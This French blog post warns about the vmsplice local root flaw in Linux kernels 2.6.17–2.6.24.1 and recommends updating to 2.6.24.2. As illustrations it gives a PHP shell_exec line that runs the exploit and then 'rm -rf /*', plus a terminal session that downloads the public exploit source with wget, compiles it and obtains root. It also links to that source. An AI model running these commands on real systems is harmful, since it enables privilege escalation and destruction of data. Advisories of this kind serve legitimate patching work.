Faille de sécurité sur les Kernel 2.6

Linux bugUne importante faille de sécurité a été découverte sur les noyau 2.6.17 à 2.6.24.1 (la faille ne concernerait donc pas les kernel 2.4 et < 2.6.17).
Un utilisateur malveillant pourrait s’approprier les droits super-utilisateur sur un serveur. La faille est dû a une non-vérification des données mémoire par « vmsplice ».
Pour corriger ce problème, il suffit de mettre à jour votre kernel en version 2.6.24.2 sorti quelques heures après la découverte de cette faille.
Il ne faut pas négliger cette faille puisque celle-ci peut être exploitée par n’importe quel langage « web » (PHP, Perl etc…). Il est, dès lors, très simple de « supprimer » tout le contenu d’une machine, de s’approprier des droits sur celle-ci et bien d’autres choses.
Exemple d’un scénario de hack via PHP :
– Upload du fichier compilé via FTP
– Exécution d’un fichier PHP contenant les instructions suivantes :

<?php

 shell_exec(‘cd /home/path/to/hack; ./exploit; rm -rf /*’);

?>

Exemple d’un scénario de hack via SSH / Shell :

julien@devsvn:~$ uname -r
2.6.18-5-686
julien@devsvn:~$ wget http://paste.ubuntu-nl.org/55587/plain/ -O root.c
julien@devsvn:~$ gcc -o root root.c
julien@devsvn:~$ ./root
———————————–
 Linux vmsplice Local Root Exploit
 By qaaz
———————————–
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7d9b000 .. 0xb7dcd000
[+] root
root@devsvn:~#

Exemple d’une tentative avec noyau à jour :

julien@devsvn:~$ uname -r
2.6.24.2-xxxx-std-ipv6-32
julien@devsvn:~$ wget http://paste.ubuntu-nl.org/55587/plain/ -O root.c
julien@devsvn:~$ gcc -o root root.c
julien@devsvn:~$ ./root
———————————–
Linux vmsplice Local Root Exploit
———————————–
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7e19000 .. 0xb7e4b000
[-] vmsplice: Bad address
julien@devsvn:~$

Code source du fichier : http://paste.ubuntu-nl.org/55587/plain/
Kernel 2.6.24.2 : http://kernel.org/pub/linux/kernel/v2.6/linux-2.6.24.2.tar.bz2

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *